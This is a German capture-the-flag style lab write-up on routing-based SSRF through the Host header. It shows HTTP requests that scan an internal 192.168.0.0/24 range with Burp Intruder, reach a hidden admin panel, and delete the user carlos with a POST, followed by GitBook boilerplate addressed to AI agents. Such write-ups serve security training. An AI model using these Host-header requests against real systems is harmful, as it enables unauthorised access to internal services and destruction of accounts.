> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/host-header/routing-based-ssrf.md).

# Routingbasierte SSRF

### SSRF auf Routing-Basis

**Beschreibung des Labs**

Dieses Lab hat eine **Routing-basierte SSRF-Schwachstelle**, ausnutzbar über **Host-Header**. / Die Anwendung stützt sich auf den Wert des `Host` Felds, um das Ziel der Anfragen zu bestimmen, wodurch Zugriff auf nicht exponierte interne Ressourcen ermöglicht wird.

Ziel:

* Greife auf das interne Administrations-Panel zu, das auf einer IP-Adresse des `192.168.0.0/24` Netzwerks
* Benutzer löschen **carlos**

**Erste Beobachtung**

Das `/admin` Zugangspunkt ist von außen nicht erreichbar. / Allerdings leitet die Anwendung Anfragen entsprechend dem Wert des `Host` Felds weiter, wodurch die Anfrage an interne Adressen umgeleitet werden kann.

**Schritt 1 – Internen Netzwerkscan**

Die folgende Anfrage wird an **Intruder** gesendet, um interne IP-Adressen zu testen:

```http
GET /admin HTTP/2
Host: 192.168.0.X
```

⚠️ Wichtig :

* Deaktiviere die Option **Host-Header aktualisieren** in Burp, sonst schlägt der Angriff fehl.

<figure><img src="/files/aa43bf9af0564bf4df179a9450b0ded8f5c46eaf" alt=""><figcaption></figcaption></figure>

Ergebnis:

* Das `192.168.0.221` Adresse gibt eine Antwort zurück **HTTP 200**, was auf das Vorhandensein des internen Administrations-Panels hinweist.

<figure><img src="/files/f31bc0425612accf92582104cf75137457dfe04d" alt=""><figcaption></figcaption></figure>

**Schritt 2 – Zugriff auf das Administrations-Panel**

Sobald eine gültige IP identifiziert ist, zielst du direkt auf das Admin-Panel:

```http
GET /admin/delete?username=carlos HTTP/2
Host: 192.168.0.221
```

Die interne Administrationsoberfläche wird zugänglich.

<figure><img src="/files/4679a8056948f69d16961c5b154b509403c809ca" alt=""><figcaption></figcaption></figure>

**Schritt 3 – Entfernen des Benutzers carlos**

Das Löschen erfordert eine **POST** Anfrage mit einem gültigen CSRF-Token:

```http
POST /admin/delete HTTP/2
Host: 192.168.0.221

csrf=iWyb78rJxAsoblmARVtqSef6YOsKG0Ph&username=carlos
```

Ergebnis:

* Der Server antwortet mit **302 Found**, was bestätigt, dass der Benutzer **carlos** gelöscht wurde.

<figure><img src="/files/9b0d258a5c117b42514849d3c5942ae6dcd0a4e1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/host-header/routing-based-ssrf.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
